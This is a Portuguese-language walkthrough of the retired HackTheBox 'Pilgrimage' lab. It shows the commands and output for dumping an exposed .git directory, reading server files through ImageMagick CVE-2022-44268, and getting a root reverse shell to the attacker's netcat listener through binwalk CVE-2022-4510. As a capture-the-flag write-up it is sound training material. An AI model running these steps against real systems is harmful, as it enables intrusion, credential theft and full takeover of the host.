HackTheBox — Writeup Pilgrimage [Retired]

mrtnsgs

Guilherme Martins

Posted on November 25, 2023

HackTheBox — Writeup Pilgrimage [Retired]

Neste writeup iremos explorar uma máquina de nível easy que aborda as seguintes vulnerabilidades e técnicas:

  • Análise de código
  • Git HackTricks
  • Arbitrary File Upload (CVE-2022–44268)
  • Remote Code Execution (CVE-2022–4510)

Recon e user flag

Começaremos realizando uma varredura de portas utilizando o nmap:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/pilgrimage]
└─# nmap -sV --open -Pn -sC 10.129.30.129
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-25 12:36 EDT
Nmap scan report for 10.129.30.129
Host is up (0.18s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 20be60d295f628c1b7e9e81706f168f3 (RSA)
|   256 0eb6a6a8c99b4173746e70180d5fe0af (ECDSA)
|_  256 d14e293c708669b4d72cc80b486e9804 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://pilgrimage.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enter fullscreen mode Exit fullscreen mode

A porta 22 e 80 estão abertas e ao acessar o ip nesta última pelo navegador somos redirecionados para http://pilgrimage.htb/, conforme o próprio nmap nos mostra. Vamos adicionar pilgrimage.htb em nosso /etc/hosts

Temos três opções inicialmente em nossa página: Home, Login e Register.

Após nos registrar e realizar o login temos a opção de realizar o upload de imagens, esta imagem será reduzida e um link é disponibilizado

Página inicial

Aplicação que realiza a redução de imagens

Durante outros testes foi realizado um novo scan utilizando nmap, só que desta vez foi utilizada a url e solicitando que sejam executados os scripts em geral da ferramenta:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/pilgrimage]
└─# nmap -sV -p80 -Pn -sC pilgrimage.htb
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-25 13:09 EDT
Nmap scan report for pilgrimage.htb (10.129.30.129)
Host is up (0.17s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.18.0
| http-git:
|   10.129.30.129:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Pilgrimage image shrinking service initial commit. # Please ...
Enter fullscreen mode Exit fullscreen mode

Com este novo scan encontramos um diretório .git disponível! Vamos utilizar a ferramenta gitdumper para baixar o seu conteúdo.

┌──(root㉿kali)-[/home/…/machines-linux/pilgrimage/GitTools/Dumper]
└─# ./gitdumper.sh 10.129.30.129:80/.git/ dest ../../dump
###########
# GitDumper is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########

[*] Destination folder does not exist
[+] Creating dest/.git/
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[-] Downloaded: packed-refs
[+] Downloaded: refs/heads/master
[-] Downloaded: refs/remotes/origin/HEAD
[-] Downloaded: refs/stash
[+] Downloaded: logs/HEAD
[+] Downloaded: logs/refs/heads/master
[-] Downloaded: logs/refs/remotes/origin/HEAD
[-] Downloaded: info/refs
[+] Downloaded: info/exclude
[-] Downloaded: /refs/wip/index/refs/heads/master
[-] Downloaded: /refs/wip/wtree/refs/heads/master
[+] Downloaded: objects/e1/a40beebc7035212efdcb15476f9c994e3634a7
[-] Downloaded: objects/00/00000000000000000000000000000000000000
[+] Downloaded: objects/f3/e708fd3c3689d0f437b2140e08997dbaff6212
[+] Downloaded: objects/93/ed6c0458c9a366473a6bcb919b1033f16e7a8d
[+] Downloaded: objects/c2/cbe0c97b6f3117d4ab516b423542e5fe7757bc
[+] Downloaded: objects/6c/965df00a57fd13ad50b5bbe0ae1746cdf6403d
[+] Downloaded: objects/dc/446514835fe49994e27a1c2cf35c9e45916c71
[+] Downloaded: objects/46/44c40a1f15a1eed9a8455e6ac2a0be29b5bf9e
[+] Downloaded: objects/f1/8fa9173e9f7c1b2f30f3d20c4a303e18d88548
[+] Downloaded: objects/c4/18930edec4da46019a1bac06ecb6ec6f7975bb
[+] Downloaded: objects/36/c734d44fe952682020fd9762ee9329af51848d
[+] Downloaded: objects/b2/15e14bb4766deff4fb926e1aa080834935d348
[+] Downloaded: objects/8f/155a75593279c9723a1b15e5624a304a174af2
[+] Downloaded: objects/9e/ace5d0e0c82bff5c93695ac485fe52348c855e
[+] Downloaded: objects/a7/3926e2965989a71725516555bcc1fe2c7d4f9e
[+] Downloaded: objects/98/10e80fba2c826a142e241d0f65a07ee580eaad
[+] Downloaded: objects/26/8dbf75d02f0d622ac4ff9e402175eacbbaeddd
[+] Downloaded: objects/81/703757c43fe30d0f3c6157a1c20f0fea7331fc
[+] Downloaded: objects/76/a559577d4f759fff6af1249b4a277f352822d5
[+] Downloaded: objects/ff/dbd328a3efc5dad2a97be47e64d341d696576c
[+] Downloaded: objects/f2/b67ac629e09e9143d201e9e7ba6a83ee02d66e
[+] Downloaded: objects/8a/62aac3b8e9105766f3873443758b7ddf18d838
[+] Downloaded: objects/e9/2c0655b5ac3ec2bfbdd015294ddcbe054fb783
[+] Downloaded: objects/c2/a4c2fd4e5b2374c6e212d1800097e3b30ff4e2
[+] Downloaded: objects/88/16d69710c5d2ee58db84afa5691495878f4ee1
[+] Downloaded: objects/96/3349e4f7a7a35c8f97043c20190efbe20d159a
[+] Downloaded: objects/2f/9156e434cfa6204c9d48733ee5c0d86a8a4e23
[+] Downloaded: objects/b6/c438e8ba16336198c2e62fee337e126257b909
[+] Downloaded: objects/11/dbdd149e3a657bc59750b35e1136af861a579f
[+] Downloaded: objects/c3/27c2362dd4f8eb980f6908c49f8ef014d19568
[+] Downloaded: objects/8e/42bc52e73caeaef5e58ae0d9844579f8e1ae18
[+] Downloaded: objects/5f/ec5e0946296a0f09badeb08571519918c3da77
[+] Downloaded: objects/50/210eb2a1620ef4c4104c16ee7fac16a2c83987
[+] Downloaded: objects/06/19fc1c747e6278bbd51a30de28b3fcccbd848a
[+] Downloaded: objects/54/4d28df79fe7e6757328f7ecddf37a9aac17322
[+] Downloaded: objects/1f/8ddab827030fbc81b7cb4441ec4c9809a48bc1
[+] Downloaded: objects/47/6364752c5fa7ad9aa10f471dc955aac3d3cf34
[+] Downloaded: objects/b4/21518638bfb4725d72cc0980d8dcaf6074abe7
[+] Downloaded: objects/49/cd436cf92cc28645e5a8be4b1973683c95c537
[+] Downloaded: objects/1f/2ef7cfabc9cf1d117d7a88f3a63cadbb40cca3
[+] Downloaded: objects/23/1150acdd01bbbef94dfb9da9f79476bfbb16fc
[+] Downloaded: objects/ca/d9dfca08306027b234ddc2166c838de9301487
[+] Downloaded: objects/fd/90fe8e067b4e75012c097a088073dd1d3e75a4
[+] Downloaded: objects/c4/3565452792f19d2cf2340266dbecb82f2a0571
[+] Downloaded: objects/29/4ee966c8b135ea3e299b7ca49c450e78870b59
[+] Downloaded: objects/fb/f9e44d80c149c822db0b575dbfdc4625744aa4
[+] Downloaded: objects/2b/95e3c61cd8f7f0b7887a8151207b204d576e14
[+] Downloaded: objects/a5/29d883c76f026420aed8dbcbd4c245ed9a7c0b
[-] Downloaded: objects/23/12310101010101010101410301010101210101
[-] Downloaded: objects/23/03032323230123232323212123212303632303
[-] Downloaded: objects/23/21236303230321632123036767012147470701
[-] Downloaded: objects/47/07412547250503474341056701016565070147
[-] Downloaded: objects/41/61416543747052570741470565674701054165
[-] Downloaded: objects/65/43450543454147054147414565014170505650
[-] Downloaded: objects/54/74547454747476767476767676767236323632
[-] Downloaded: objects/36/76745054545454545456545454545454545454
[-] Downloaded: objects/76/76701676767670105676767672167676767010
[+] Downloaded: objects/cd/2774e97bfe313f2ec2b8dc8285ec90688c5adb
[+] Downloaded: objects/fa/175a75d40a7be5c3c5dee79b36f626de328f2e

┌──(root㉿kali)-[~kali/…/pilgrimage/GitTools/Dumper/dest]
└─# git checkout --
D       assets/bulletproof.php
D       assets/css/animate.css
D       assets/css/custom.css
D       assets/css/flex-slider.css
D       assets/css/fontawesome.css
D       assets/css/owl.css
D       assets/css/templatemo-woox-travel.css
D       assets/images/banner-04.jpg
D       assets/images/cta-bg.jpg
D       assets/js/custom.js
D       assets/js/isotope.js
D       assets/js/isotope.min.js
D       assets/js/owl-carousel.js
D       assets/js/popup.js
D       assets/js/tabs.js
D       assets/webfonts/fa-brands-400.ttf
D       assets/webfonts/fa-brands-400.woff2
D       assets/webfonts/fa-regular-400.ttf
D       assets/webfonts/fa-regular-400.woff2
D       assets/webfonts/fa-solid-900.ttf
D       assets/webfonts/fa-solid-900.woff2
D       assets/webfonts/fa-v4compatibility.ttf
D       assets/webfonts/fa-v4compatibility.woff2
D       dashboard.php
D       index.php
D       login.php
D       logout.php
D       magick
D       register.php
D       vendor/bootstrap/css/bootstrap.min.css
D       vendor/bootstrap/js/bootstrap.min.js
D       vendor/jquery/jquery.js
D       vendor/jquery/jquery.min.js
D       vendor/jquery/jquery.min.map
D       vendor/jquery/jquery.slim.js
D       vendor/jquery/jquery.slim.min.js
D       vendor/jquery/jquery.slim.min.map
Enter fullscreen mode Exit fullscreen mode

Com isso temos o .git em nossa máquina podemos verificar seu conteúdo, analisar se conseguimos ler. O pulo do gato aqui é que conseguimos reverter commits:

┌──(root㉿kali)-[/home/…/pilgrimage/GitTools/Dumper/dest]
└─# git log
commit e1a40beebc7035212efdcb15476f9c994e3634a7 (HEAD -> master)
Author: emily <emily@pilgrimage.htb>
Date:   Wed Jun 7 20:11:48 2023 +1000

    Pilgrimage image shrinking service initial commit.
Enter fullscreen mode Exit fullscreen mode

Temos um commit, vamos reverter.

┌──(root㉿kali)-[~kali/…/pilgrimage/GitTools/Dumper/dest]
└─# git restore .

┌──(root㉿kali)-[/home/…/pilgrimage/GitTools/Dumper/dest]
└─# ls -alh
total 27M
drwxr-xr-x 5 root root 4.0K Jun 25 22:02 .
drwxr-xr-x 3 root root 4.0K Jun 25 13:13 ..
drwxr-xr-x 6 root root 4.0K Jun 25 13:50 assets
-rwxr-xr-x 1 root root 5.5K Jun 25 13:50 dashboard.php
drwxr-xr-x 6 root root 4.0K Jun 25 21:54 .git
-rwxr-xr-x 1 root root 9.1K Jun 25 13:50 index.php
-rwxr-xr-x 1 root root 6.7K Jun 25 13:50 login.php
-rwxr-xr-x 1 root root   98 Jun 25 13:50 logout.php
-rwxr-xr-x 1 root root  27M Jun 25 13:50 magick
-rwxr-xr-x 1 root root 6.7K Jun 25 13:50 register.php
drwxr-xr-x 4 root root 4.0K Jun 25 13:50 vendor
Enter fullscreen mode Exit fullscreen mode

Conseguimos ter acesso a arquivos da aplicação em php, agora precisamos analisar seu conteúdo.

O primeiro ponto é que não foi encontrada nenhuma credencial, no entanto, conseguimos visualizar o funcionamento da aplicação que realiza a redução de imagens.

O código que estamos analisando possui diversas vulnerabilidades, como possibilidade de realizar um Command Injection e sql injection por falta de sanitização.

Dentre os arquivos temos um binário chamado magick, que é o mesmo utilizado no index.php para realizar as ações nas imagens que são enviadas:

 exec("/var/www/pilgrimage.htb/magick convert /var/www/pilgrimage.htb/tmp/" . $upload->getName() . $mime . " -resize 50% /var/www/pilgrimage.htb/shrunk/" . $newname . $mime);
   $stmt->execute(array($upload_path,$_FILES["toConvert"]["name"],$_SESSION['user']));
Enter fullscreen mode Exit fullscreen mode

Podemos procurar por vulnerabilidades e até exploits para a versão utilizada do magick:

┌──(root㉿kali)-[/home/…/pilgrimage/GitTools/Dumper/dest]
└─# ./magick --version
Version: ImageMagick 7.1.0-49 beta Q16-HDRI x86_64 c243c9281:20220911 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype jbig jng jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (7.5)
Enter fullscreen mode Exit fullscreen mode

Em uma rápida procura no google foi localizada um Arbitrary File Read na CVE-2022–44268. Como o nome informa, esta vulnerabilidade permite que sejam lidos arquivos do servidor alvo.

A exploração ocorre quando é criado um arquivo PNG adicionar um tipo de fragmento textual (por exemplo, tEXt). Esses tipos têm uma palavra-chave e uma string de texto. Se a palavra-chave for a string "perfil" (sem aspas), o

ImageMagick

Neste writeup será usado um exploit público feito em rust, para isso é necessário que tenha o gerenciador de pacotes cargo rodando em nossa máquina.

GitHub - voidz0r/CVE-2022-44268: A PoC for the CVE-2022-44268 - ImageMagick arbitrary file read

Caso prefira existe outro exploit público feito em python:

GitHub - Sybil-Scan/imagemagick-lfi-poc: ImageMagick LFI PoC [CVE-2022-44268]

O procedimento de execução é simples, basta executar os seguintes passos:

┌──(root㉿kali)-[~kali/hackthebox/machines-linux/pilgrimage/CVE-2022-44268]
└─# cargo run "/etc/passwd"
    Finished dev [unoptimized + debuginfo] target(s) in 0.04s
     Running `target/debug/cve-2022-44268 /etc/passwd`
Enter fullscreen mode Exit fullscreen mode

Enviamos o arquivo gerado e temos um link para download da image "reduzida".

Link para download

Realizamos o download da mesma para nosso diretório:

┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/pilgrimage/CVE-2022-44268]
└─# wget http://pilgrimage.htb/shrunk/649af5ba3bbb8.png
--2023-06-27 10:44:19--  http://pilgrimage.htb/shrunk/649af5ba3bbb8.png
Resolving pilgrimage.htb (pilgrimage.htb)... 10.129.7.50
Connecting to pilgrimage.htb (pilgrimage.htb)|10.129.7.50|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1080 (1.1K) [image/png]
Saving to: ‘649af5ba3bbb8.png’

649af5ba3bbb8.png                           100%[===========================================================================================>]   1.05K  --.-KB/s    in 0s

2023-06-27 10:44:19 (65.6 MB/s) - ‘649af5ba3bbb8.png’ saved [1080/1080]
Enter fullscreen mode Exit fullscreen mode

E vamos utilizar o identify, uma suite para manipular imagens e metadados para visualizar o conteúdo do arquivo que baixamos, conforme descrito na PoC que estamos seguindo:

┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/pilgrimage/CVE-2022-44268]
└─# identify -verbose 649af5ba3bbb8.png
Image: 649af5ba3bbb8.png
  Format: PNG (Portable Network Graphics)
  Geometry: 100x100
  Class: PseudoClass
  Type: palette
  Depth: 1 bits-per-pixel component
  Channel Depths:
    Red:      1 bits
    Green:    1 bits
    Blue:     1 bits
  Channel Statistics:
    Red:
      Minimum:                 65535.00 (1.0000)
      Maximum:                 65535.00 (1.0000)
      Mean:                    65535.00 (1.0000)
      Standard Deviation:          0.00 (0.0000)
    Green:
      Minimum:                     0.00 (0.0000)
      Maximum:                     0.00 (0.0000)
      Mean:                        0.00 (0.0000)
      Standard Deviation:          0.00 (0.0000)
    Blue:
      Minimum:                     0.00 (0.0000)
      Maximum:                     0.00 (0.0000)
      Mean:                        0.00 (0.0000)
      Standard Deviation:          0.00 (0.0000)
  Colors: 2
    0: (255,  0,  0)      red
    1: (255,255,255)      white
  Gamma: 0.45455
  Chromaticity:
    red primary: (0.64,0.33)
    green primary: (0.3,0.6)
    blue primary: (0.15,0.06)
    white point: (0.3127,0.329)
  Filesize: 1.1Ki
  Interlace: No
  Orientation: Unknown
  Background Color: #FEFEFE
  Border Color: #DFDFDF
  Matte Color: #BDBDBD
  Page geometry: 100x100+0+0
  Compose: Over
  Dispose: Undefined
  Iterations: 0
  Compression: Zip
  Png:IHDR.color-type-orig: 3
  Png:IHDR.bit-depth-orig: 1
  Raw profile type:

    1437
726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d
6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f
6e6f6c6f67696e0a62696e3a783a323a323a62696e3a2f62696e3a2f7573722f7362696e
2f6e6f6c6f67696e0a7379733a783a333a333a7379733a2f6465763a2f7573722f736269
6e2f6e6f6c6f67696e0a73796e633a783a343a36353533343a73796e633a2f62696e3a2f
62696e2f73796e630a67616d65733a783a353a36303a67616d65733a2f7573722f67616d
65733a2f7573722f7362696e2f6e6f6c6f67696e0a6d616e3a783a363a31323a6d616e3a
2f7661722f63616368652f6d616e3a2f7573722f7362696e2f6e6f6c6f67696e0a6c703a
783a373a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7573722f7362696e2f6e6f
6c6f67696e0a6d61696c3a783a383a383a6d61696c3a2f7661722f6d61696c3a2f757372
2f7362696e2f6e6f6c6f67696e0a6e6577733a783a393a393a6e6577733a2f7661722f73
706f6f6c2f6e6577733a2f7573722f7362696e2f6e6f6c6f67696e0a757563703a783a31
303a31303a757563703a2f7661722f73706f6f6c2f757563703a2f7573722f7362696e2f
6e6f6c6f67696e0a70726f78793a783a31333a31333a70726f78793a2f62696e3a2f7573
722f7362696e2f6e6f6c6f67696e0a7777772d646174613a783a33333a33333a7777772d
646174613a2f7661722f7777773a2f7573722f7362696e2f6e6f6c6f67696e0a6261636b
75703a783a33343a33343a6261636b75703a2f7661722f6261636b7570733a2f7573722f
7362696e2f6e6f6c6f67696e0a6c6973743a783a33383a33383a4d61696c696e67204c69
7374204d616e616765723a2f7661722f6c6973743a2f7573722f7362696e2f6e6f6c6f67
696e0a6972633a783a33393a33393a697263643a2f72756e2f697263643a2f7573722f73
62696e2f6e6f6c6f67696e0a676e6174733a783a34313a34313a476e617473204275672d
5265706f7274696e672053797374656d202861646d696e293a2f7661722f6c69622f676e
6174733a2f7573722f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a3635353334
3a36353533343a6e6f626f64793a2f6e6f6e6578697374656e743a2f7573722f7362696e
2f6e6f6c6f67696e0a5f6170743a783a3130303a36353533343a3a2f6e6f6e6578697374
656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d6e6574776f72
6b3a783a3130313a3130323a73797374656d64204e6574776f726b204d616e6167656d65
6e742c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e
0a73797374656d642d7265736f6c76653a783a3130323a3130333a73797374656d642052
65736f6c7665722c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f
6c6f67696e0a6d6573736167656275733a783a3130333a3130393a3a2f6e6f6e65786973
74656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d74696d6573
796e633a783a3130343a3131303a73797374656d642054696d652053796e6368726f6e69
7a6174696f6e2c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c
6f67696e0a656d696c793a783a313030303a313030303a656d696c792c2c2c3a2f686f6d
652f656d696c793a2f62696e2f626173680a73797374656d642d636f726564756d703a78
3a3939393a3939393a73797374656d6420436f72652044756d7065723a2f3a2f7573722f
7362696e2f6e6f6c6f67696e0a737368643a783a3130353a36353533343a3a2f72756e2f
737368643a2f7573722f7362696e2f6e6f6c6f67696e0a5f6c617572656c3a783a393938
3a3939383a3a2f7661722f6c6f672f6c617572656c3a2f62696e2f66616c73650a

  Date:create: 2023-06-27T14:44:10+00:00
  Date:modify: 2023-06-27T14:44:10+00:00
  Date:timestamp: 2023-06-27T14:44:10+00:00
  Signature: c7d03a3453434db9720fd67b559185125d9bdb1fe9c25c182783170e2ba6a8f6
  Tainted: False
  Elapsed Time: 0m:0.001113s
  Pixels Per Second: 8.6Mi

Enter fullscreen mode Exit fullscreen mode

Agora precisamos converter o conteúdo em hexidecimal para que consigamos ler, para isso será utilizado o cyberchef:

CyberChef

Deu certo, conseguimos agora ler arquivos no servidor alvo.

Como não conhecemos a organização dos diretórios e arquivos podemos utilizar o que temos do repositório git como base.

Nestes arquivos temos uma base de dados no seguinte diretório:

$db = new PDO('sqlite:/var/db/pilgrimage');
Enter fullscreen mode Exit fullscreen mode

O SQLite armazena todo o banco de dados (definições, tabelas, índices e os próprios dados) como um único arquivo na máquina host, permitindo que vários processos ou threads acessem o mesmo banco de dados simultaneamente.

Devido a isso podemos tentar ler seu conteúdo, vamos realizar novamente o procedimento da poc:

┌──(root㉿kali)-[~kali/hackthebox/machines-linux/pilgrimage/CVE-2022-44268]
└─# cargo run "/var/db/pilgrimage"
    Finished dev [unoptimized + debuginfo] target(s) in 0.04s
     Running `target/debug/cve-2022-44268 /var/db/pilgrimage`
Enter fullscreen mode Exit fullscreen mode

Enviada a imagem gerada conseguimos o link para download

Novo payload

Baixando a imagem conseguimos ver seu conteúdo:

┌──(root㉿kali)-[~kali/hackthebox/machines-linux/pilgrimage/CVE-2022-44268]
└─# wget http://pilgrimage.htb/shrunk/649aef359c846.png
--2023-06-27 10:16:31--  http://pilgrimage.htb/shrunk/649aef359c846.png
Resolving pilgrimage.htb (pilgrimage.htb)... 10.129.7.50
Connecting to pilgrimage.htb (pilgrimage.htb)|10.129.7.50|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 967 [image/png]
Saving to: '649aef359c846.png'

649aef359c846.png     100%[=======================>]     967  --.-KB/s    in 0s

2023-06-27 10:16:32 (39.4 MB/s) - '649aef359c846.png' saved [967/967]

┌──(root㉿kali)-[~kali/hackthebox/machines-linux/pilgrimage/CVE-2022-44268]
└─# identify -verbose 649aef359c846.png
Image: 649aef359c846.png
  Format: PNG (Portable Network Graphics)
  Geometry: 100x100
  Class: PseudoClass
  Type: palette
  Depth: 1 bits-per-pixel component
  Channel Depths:
    Red:      1 bits
    Green:    1 bits
    Blue:     1 bits
  Channel Statistics:
    Red:
      Minimum:                 65535.00 (1.0000)
      Maximum:                 65535.00 (1.0000)
      Mean:                    65535.00 (1.0000)
      Standard Deviation:          0.00 (0.0000)
    Green:
      Minimum:                     0.00 (0.0000)
      Maximum:                     0.00 (0.0000)
      Mean:                        0.00 (0.0000)
      Standard Deviation:          0.00 (0.0000)
    Blue:
      Minimum:                     0.00 (0.0000)
      Maximum:                     0.00 (0.0000)
      Mean:                        0.00 (0.0000)
      Standard Deviation:          0.00 (0.0000)
  Colors: 2
    0: (255,  0,  0)      red
    1: (255,255,255)      white
  Gamma: 0.45455
  Chromaticity:
    red primary: (0.64,0.33)
    green primary: (0.3,0.6)
    blue primary: (0.15,0.06)
    white point: (0.3127,0.329)
  Filesize: 967
  Interlace: No
  Orientation: Unknown
  Background Color: #FEFEFE
  Border Color: #DFDFDF
  Matte Color: #BDBDBD
  Page geometry: 100x100+0+0
  Compose: Over
  Dispose: Undefined
  Iterations: 0
  Compression: Zip
  Png:IHDR.color-type-orig: 3
  Png:IHDR.bit-depth-orig: 1
  Raw profile type:

   20480
53514c69746520666f726d617420330010000101004020200000003c0000000500000000
000000000000000400000004000000000000000000000001000000000000000000000000
00000000000000000000000000000000000000000000003c002e4b910d0ff800040eba00
0f650fcd0eba0f3800000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000...
...
Enter fullscreen mode Exit fullscreen mode

O hex que retorna no arquivo do banco de dados é consideravelmente grande, mas utilizando o cyberchef conseguimos ler seu conteúdo.

E temos o seguinte retorno:

database

Ao buscar primeiramente o /etc/passwd vimos que o usuário emily existe e agora analisando o arquivo de banco de dados temos uma combinação com este usuário e uma senha (que foi devidamente censurada para não dar spoiler).

Com isso conseguimos acesso ssh a máquina alvo e a user flag.

┌──(root㉿kali)-[~kali/hackthebox/machines-linux/pilgrimage/CVE-2022-44268]
└─# ssh emily@pilgrimage.htb
emily@pilgrimage.htb's password:
Linux pilgrimage 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
emily@pilgrimage:~$ ls -a
.   .bash_history  .bashrc  .gitconfig  .profile
..  .bash_logout   .config  .local      user.txt
emily@pilgrimage:~$ cat user.txt
b0e6ce46cd886xxxxxxxxxxxxxxxxxxx
Enter fullscreen mode Exit fullscreen mode

Escalando privilégios e root flag

Realizando uma análise dos processos notamos dois processos que nos chamaram a atenção:

root         660  0.0  0.0   2516   708 ?        S    00:13   0:00  _ /usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/
root         661  0.0  0.0   6816  2056 ?        S    00:13   0:00  _ /bin/bash /usr/sbin/malwarescan.sh
Enter fullscreen mode Exit fullscreen mode

O script malwarescan.sh criou o outro processo, que é o inotify.

Conteúdo do script:

emily@pilgrimage:~$ cat /usr/sbin/malwarescan.sh
#!/bin/bash

blacklist=("Executable script" "Microsoft executable")

/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
        filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
        binout="$(/usr/local/bin/binwalk -e "$filename")"
        for banned in "${blacklist[@]}"; do
                if [[ "$binout" == *"$banned"* ]]; then
                        /usr/bin/rm "$filename"
                        break
                fi
        done
done
Enter fullscreen mode Exit fullscreen mode

Básicamente é um scan que remove arquivos no diretório /var/www/pilgrimage.htb/shrunk/, que como vimos na análise do código é onde estão as imagens após passarem no processo de redução pelo ImageMagick.

Quem realiza essa análise é o binwalk, que é uma ferramenta que realiza análise, engenharia reversa e extração de imagens de firmware.

Máquina easy do hackthebox geralmente possuem CVE's conhecidos, que é o caso do binwalk que possui o CVE-2022–4510, que é um Remote Code Execution, que inclusive possui um exploit público no exploit-db:

OffSec's Exploit Database Archive Binwalk v2.3.2 - Remote Command Execution (RCE). CVE-2022-4510

Para que o exploit funcione precisamos utilizar uma imagem e informar endereço ip e porta que ele se conectará, que será nossa máquina. Para isso vamos utilizar o netcat em outra aba de nosso terminal:

┌──(root㉿kali)-[~kali/hackthebox/machines-linux/pilgrimage]
└─# nc -lvnp 9001
listening on [any] 9001
Enter fullscreen mode Exit fullscreen mode

Agora vamos acessar o diretório shrunk e utilizar alguma imagem que esteja por la:

emily@pilgrimage:~$ cd /var/www/pilgrimage.htb/shrunk/
emily@pilgrimage:/var/www/pilgrimage.htb/shrunk$ ls -alh
total 12K
drwxrwxrwx 2 root     root     4.0K Jun 28 00:16 .
drwxr-xr-x 7 root     root     4.0K Jun  8 00:10 ..
-rw-r--r-- 1 www-data www-data  967 Jun 28 00:16 649aef359c846.png
Enter fullscreen mode Exit fullscreen mode

Com estes passos podemos executar o exploit:

emily@pilgrimage:/var/www/pilgrimage.htb/shrunk$ python3 /home/emily/exploit.py 649aef359c846.png 10.10.14.108 900
Enter fullscreen mode Exit fullscreen mode

E em nossa outra aba temos o retorno a conexão como usuário root.

┌──(root㉿kali)-[~kali/hackthebox/machines-linux/pilgrimage]
└─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.108] from (UNKNOWN) [10.129.7.50] 52742
id
uid=0(root) gid=0(root) groups=0(root)
ls -a /root
.
..
.bash_history
.bashrc
.config
.gitconfig
.local
.profile
quarantine
reset.sh
root.txt
cat /root/root.txt
8251e6de0effec23xxxxxxxxxxxxxxx
Enter fullscreen mode Exit fullscreen mode

E assim conseguimos a root flag para finalizar esta máquina :)

Pwned

💖 💪 🙅 🚩
mrtnsgs
Guilherme Martins

Posted on November 25, 2023

Join Our Newsletter. No Spam, Only the good stuff.

Sign up to receive the latest update from our blog.

Related